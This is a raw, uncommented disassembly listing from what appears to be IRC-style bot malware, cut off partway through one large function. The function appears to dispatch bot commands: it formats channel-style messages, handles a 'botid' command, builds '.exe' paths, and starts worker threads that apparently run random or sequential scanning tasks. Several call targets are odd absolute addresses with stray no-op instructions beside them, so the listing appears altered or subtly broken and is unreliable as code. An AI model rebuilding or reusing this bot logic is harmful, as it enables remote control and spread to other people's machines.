
loc_411EF1:				; CODE XREF: sub_40EE72+3074j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_411EFE
		mov	[ebp+var_32C], ecx


loc_411EFE:				; CODE XREF: sub_40EE72+3084j
		push	[ebp+arg_10]
		call	sub_41781F
		mov	[ebp+var_328], eax
		mov	eax, 320h
		cmp	[ebp+var_328], eax
		pop	ecx
		jbe	short loc_411F20
		mov	[ebp+var_328], eax


loc_411F20:				; CODE XREF: sub_40EE72+30A6j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_42ACB0, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_411F76
		mov	[ebp+arg_24], offset dword_42ACB0


loc_411F39:				; CODE XREF: sub_40EE72+30E6j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411F5C
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_411F39
		jmp	short loc_411F76
; ---------------------------------------------------------------------------


loc_411F5C:				; CODE XREF: sub_40EE72+30D8j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx


loc_411F76:				; CODE XREF: sub_40EE72+30BEj
					; sub_40EE72+30E8j
		cmp	[ebp+var_330], ebx
		jz	loc_414039
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_411FBD
		cmp	byte ptr [edi],	23h
		jz	short loc_411FBD
		push	edi
		lea	eax, [ebp+var_444]
		push	10h
		push	eax
		call	sub_41782A
		push	78h
		push	edi
		call	sub_418F50
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_304], eax
		jmp	loc_412091
; ---------------------------------------------------------------------------


loc_411FBD:				; CODE XREF: sub_40EE72+3119j
					; sub_40EE72+311Ej
		cmp	[ebp+var_9C7], bl
		jnz	short loc_411FDF
		cmp	[ebp+var_9C6], bl
		jnz	short loc_411FDF
		cmp	[ebp+var_9B6], bl
		jnz	short loc_411FDF
		push	offset unk_436FE0
		jmp	loc_4145FE
; ---------------------------------------------------------------------------


loc_411FDF:				; CODE XREF: sub_40EE72+3151j
					; sub_40EE72+3159j ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_43F60C
		mov	al, [ebp+var_9C7]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_9B6], bl
		jz	short loc_41208B
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_41207F


loc_41205D:				; CODE XREF: sub_40EE72+320Bj
		cmp	eax, ebx
		jz	short loc_41207F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_41205D


loc_41207F:				; CODE XREF: sub_40EE72+31E9j
					; sub_40EE72+31EDj
		mov	[ebp+var_304], 1
		jmp	short loc_412091
; ---------------------------------------------------------------------------


loc_41208B:				; CODE XREF: sub_40EE72+31C3j
		mov	[ebp+var_304], ebx


loc_412091:				; CODE XREF: sub_40EE72+3146j
					; sub_40EE72+3217j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_30C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_308], eax
		mov	edi, 80h
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4120E2


loc_4120CF:				; CODE XREF: sub_40EE72+3293j
		push	esi


loc_4120D0:				; CODE XREF: sub_40EE72+327Dj
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_41210D
; ---------------------------------------------------------------------------


loc_4120E2:				; CODE XREF: sub_40EE72+325Bj
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4120F1
		cmp	byte ptr [eax],	23h
		jnz	short loc_4120F1
		push	eax
		jmp	short loc_4120D0
; ---------------------------------------------------------------------------


loc_4120F1:				; CODE XREF: sub_40EE72+3275j
					; sub_40EE72+327Aj
		mov	esi, offset aF	; "#f"
		push	offset byte_43C80C
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4120CF
		mov	[ebp+var_3B4], bl


loc_41210D:				; CODE XREF: sub_40EE72+326Ej
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_41211F
		mov	eax, offset aSequential	; "Sequential"


loc_41211F:				; CODE XREF: sub_40EE72+32A6j
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436F5C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		call	near ptr 2660D4Bh
		nop
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4121AD


loc_412197:				; CODE XREF: sub_40EE72+3339j
		cmp	[ebp+var_300], ebx
		jnz	loc_41460C
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_412197
; ---------------------------------------------------------------------------


loc_4121AD:				; CODE XREF: sub_40EE72+3323j
		nop
		call	near ptr 2630313h
		push	eax
		push	offset unk_436F14
		jmp	loc_413BFD
; ---------------------------------------------------------------------------


loc_4121BE:				; CODE XREF: sub_40EE72+279Aj
					; sub_40EE72+27B1j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	byte_4450D8[eax], bl
		jz	loc_414F47
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_436F08
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_444EC0[eax], 73h
		jnz	loc_414F47
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4450D8
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_4122A9:				; CODE XREF: sub_40EE72+3534j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_4122D6:				; CODE XREF: sub_40EE72+276Cj
					; sub_40EE72+2783j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	byte_4450D8[eax], bl
		jz	loc_414F47
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_444EC0[eax], 73h
		jnz	loc_414F47
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4450D8
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_4122A9
; ---------------------------------------------------------------------------


loc_4123AB:				; CODE XREF: sub_40EE72+273Ej
					; sub_40EE72+2755j
		push	edi
		call	dword_43F6A8
		push	[ebp+arg_18]
		mov	[ebp+var_474], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_480], eax
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_47C], eax
		lea	eax, [ebp+var_500]
		mov	[ebp+var_504], esi
		push	eax
		call	sub_418C10
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], edi
		push	[ebp+var_47C]
		mov	[ebp+var_468], eax
		push	[ebp+var_480]
		push	[ebp+var_474]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436E9C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_478], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_504]
		push	ebx
		push	eax
		push	offset byte_415E37
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_478]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_41248D


loc_412477:				; CODE XREF: sub_40EE72+3619j
		cmp	[ebp+var_464], ebx
		jnz	loc_4144E5
		push	32h
		call	near ptr 25F0439h
		nop
		jmp	short loc_412477
; ---------------------------------------------------------------------------


loc_41248D:				; CODE XREF: sub_40EE72+3603j
		nop
		call	near ptr 2630313h
		push	eax
		push	offset unk_436E50
		jmp	loc_4144D6
; ---------------------------------------------------------------------------


loc_41249E:				; CODE XREF: sub_40EE72+2710j
					; sub_40EE72+2727j
		push	edi
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_314], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_318], eax
		lea	eax, [ebp+var_398]
		push	[ebp+var_8C]
		mov	[ebp+var_420], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_304], eax
		push	[ebp+var_318]
		lea	eax, [ebp+var_418]
		mov	[ebp+var_308], edi
		push	eax
		push	[ebp+var_314]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436E04
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	10h
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		push	offset sub_407BDE
		push	ebx
		push	ebx
		call	near ptr 2660D4Bh
		nop
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_41258A


loc_412574:				; CODE XREF: sub_40EE72+3716j
		cmp	[ebp+var_300], ebx
		jnz	loc_4144E5
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_412574
; ---------------------------------------------------------------------------


loc_41258A:				; CODE XREF: sub_40EE72+3700j
		call	near ptr 2630313h
		nop
		push	eax
		push	offset unk_436DB0
		jmp	loc_4144D6
; ---------------------------------------------------------------------------


loc_41259B:				; CODE XREF: sub_40EE72+26E2j
					; sub_40EE72+26F9j
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		push	0FFh
		lea	eax, [ebp+var_680]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		mov	[ebp+var_57C], ebx
		call	sub_41781F
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4125F7
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_4125FD
; ---------------------------------------------------------------------------


loc_4125F7:				; CODE XREF: sub_40EE72+376Fj
		mov	[ebp+var_570], ebx


loc_4125FD:				; CODE XREF: sub_40EE72+3783j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_412614
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_41261A
; ---------------------------------------------------------------------------


loc_412614:				; CODE XREF: sub_40EE72+3791j
		mov	[ebp+var_574], ebx


loc_41261A:				; CODE XREF: sub_40EE72+37A0j
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_568], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436D74
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_2DC]
		push	16h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4126CB


loc_4126B5:				; CODE XREF: sub_40EE72+3857j
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_4126B5
; ---------------------------------------------------------------------------


loc_4126CB:				; CODE XREF: sub_40EE72+3841j
		nop
		call	near ptr 2630313h
		push	eax
		push	offset unk_436D24
		jmp	loc_4128CE
; ---------------------------------------------------------------------------


loc_4126DC:				; CODE XREF: sub_40EE72+26B4j
					; sub_40EE72+26CBj
		push	7Fh
		lea	eax, [ebp+var_76C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6EC]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_66C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_8]
		add	esp, 30h
		mov	esi, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_568], esi
		push	edi
		push	offset dword_436CE8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Bh
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_4019D7
		push	ebx
		push	ebx
		call	near ptr 2660D4Bh
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4127AF


loc_41279D:				; CODE XREF: sub_40EE72+393Bj
		cmp	[ebp+var_560], ebx
		jnz	short loc_4127CA
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_41279D
; ---------------------------------------------------------------------------


loc_4127AF:				; CODE XREF: sub_40EE72+3929j
		call	near ptr 2630313h
		nop
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_436CA0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_4127CA:				; CODE XREF: sub_40EE72+3931j
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	esi
		jmp	loc_414619
; ---------------------------------------------------------------------------


loc_4127DA:				; CODE XREF: sub_40EE72+266Fj
					; sub_40EE72+2686j ...
		push	7Fh
		lea	eax, [ebp+var_7E8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_768]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6E8]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_668]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		push	20h
		lea	eax, [ebp+var_5E8]
		push	[ebp+arg_8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_568], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_7F0], esi
		push	edi
		push	offset unk_436C60
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ah
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_7EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F0]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_7EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4128C2


loc_4128AC:				; CODE XREF: sub_40EE72+3A4Ej
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_4128AC
; ---------------------------------------------------------------------------


loc_4128C2:				; CODE XREF: sub_40EE72+3A38j
		nop
		call	near ptr 2630313h
		push	eax
		push	offset unk_436C18


loc_4128CE:				; CODE XREF: sub_40EE72+2E92j
					; sub_40EE72+2FEEj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		jmp	loc_411D1F
; ---------------------------------------------------------------------------


loc_4128DF:				; CODE XREF: sub_40EE72+2641j
					; sub_40EE72+2658j
		push	7Fh
		lea	eax, [ebp+var_458]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	3Fh
		mov	[ebp+var_308], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3D8]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_41292D
		push	3Fh
		lea	eax, [ebp+var_398]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_41292D:				; CODE XREF: sub_40EE72+3AA7j
		lea	eax, [ebp+var_3D8]
		mov	[ebp+var_304], 1
		push	eax
		lea	eax, [ebp+var_458]
		push	[ebp+var_308]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436BD8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	18h
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_45C]
		push	ebx
		push	eax
		push	offset sub_40EB92
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_300]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4129B9


loc_4129A3:				; CODE XREF: sub_40EE72+3B45j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_413A64
		push	32h
		call	near ptr 25F0439h
		nop
		jmp	short loc_4129A3
; ---------------------------------------------------------------------------


loc_4129B9:				; CODE XREF: sub_40EE72+3B2Fj
		nop
		call	near ptr 2630313h
		push	eax
		push	offset unk_436B90
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_4129CA:				; CODE XREF: sub_40EE72+2601j
					; sub_40EE72+2618j
		push	[ebp+arg_18]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_412AC1
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_6F8]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436B54
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Dh
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_40144A
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_412AB0


loc_412A9A:				; CODE XREF: sub_40EE72+3C3Cj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_412A9A
; ---------------------------------------------------------------------------


loc_412AB0:				; CODE XREF: sub_40EE72+3C26j
		nop
		call	near ptr 2630313h
		push	eax
		push	offset unk_436B0C
		jmp	loc_413BFD
; ---------------------------------------------------------------------------


loc_412AC1:				; CODE XREF: sub_40EE72+3B69j
		push	offset unk_436AC4
		jmp	loc_4145FE
; ---------------------------------------------------------------------------


loc_412ACB:				; CODE XREF: sub_40EE72+25D3j
					; sub_40EE72+25EAj
		push	[ebp+arg_18]
		push	edi
		nop
		call	near ptr 27B0B24h
		test	eax, eax
		jz	short loc_412AFB
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436A90
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_41460C
; ---------------------------------------------------------------------------


loc_412AFB:				; CODE XREF: sub_40EE72+3C65j
		push	offset dword_436A74
		call	sub_40AA35
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_413C09
; ---------------------------------------------------------------------------


loc_412B1D:				; CODE XREF: sub_40EE72+25A5j
					; sub_40EE72+25BCj
		push	edi
		lea	eax, [ebp+var_774]
		push	104h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_412B57
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412B57
		push	eax
		lea	eax, [ebp+var_670]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_412B57:				; CODE XREF: sub_40EE72+3CC3j
					; sub_40EE72+3CD4j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_7F4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_7F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_774]
		push	eax
		push	offset unk_436A34
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ch
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F8]
		push	ebx
		push	eax
		push	offset sub_408DCA
		push	ebx
		push	ebx
		call	near ptr 2660D4Bh
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_412C0D


loc_412BF7:				; CODE XREF: sub_40EE72+3D99j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E11
		push	32h
		call	near ptr 25F0439h
		nop
		jmp	short loc_412BF7
; ---------------------------------------------------------------------------


loc_412C0D:				; CODE XREF: sub_40EE72+3D83j
		nop
		call	near ptr 2630313h
		push	eax
		push	offset unk_4369E8
		jmp	loc_414E02
; ---------------------------------------------------------------------------


loc_412C1E:				; CODE XREF: sub_40EE72+2577j
					; sub_40EE72+258Ej
		push	44h
		lea	eax, [ebp+var_4A0]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		push	1
		mov	[ebp+var_4A0], esi
		pop	esi
		mov	word ptr [ebp+var_470],	bx
		push	edi
		mov	[ebp+var_474], esi
		call	sub_41781F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_412C5B
		mov	word ptr [ebp+var_470],	5


loc_412C5B:				; CODE XREF: sub_40EE72+3DDEj
		cmp	[ebp+var_C], ebx
		jz	loc_413A64
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_413A64
		lea	eax, [ebp+var_2EC]
		push	eax
		lea	eax, [ebp+var_4A0]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 274056Fh
		nop
		test	eax, eax
		jnz	short loc_412CA6
		push	offset unk_4369B4
		jmp	loc_413A56
; ---------------------------------------------------------------------------


loc_412CA6:				; CODE XREF: sub_40EE72+3E28j
		push	edi
		push	offset dword_43698C
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_412CB1:				; CODE XREF: sub_40EE72+2549j
					; sub_40EE72+2560j
		push	[ebp+arg_18]
		push	offset aBotid	; "botid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E2B
		lea	eax, [ebp+var_3FC]
		push	eax
		push	104h
		call	near ptr 275113Ah
		nop
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_2F8]
		push	eax
		call	sub_4159F4
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_680]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+esi+var_88]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_57C], 1
		mov	[ebp+var_578], ebx
		jz	short loc_412D46
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_412D4C
; ---------------------------------------------------------------------------


loc_412D46:				; CODE XREF: sub_40EE72+3EBEj
		mov	[ebp+var_570], ebx


loc_412D4C:				; CODE XREF: sub_40EE72+3ED2j
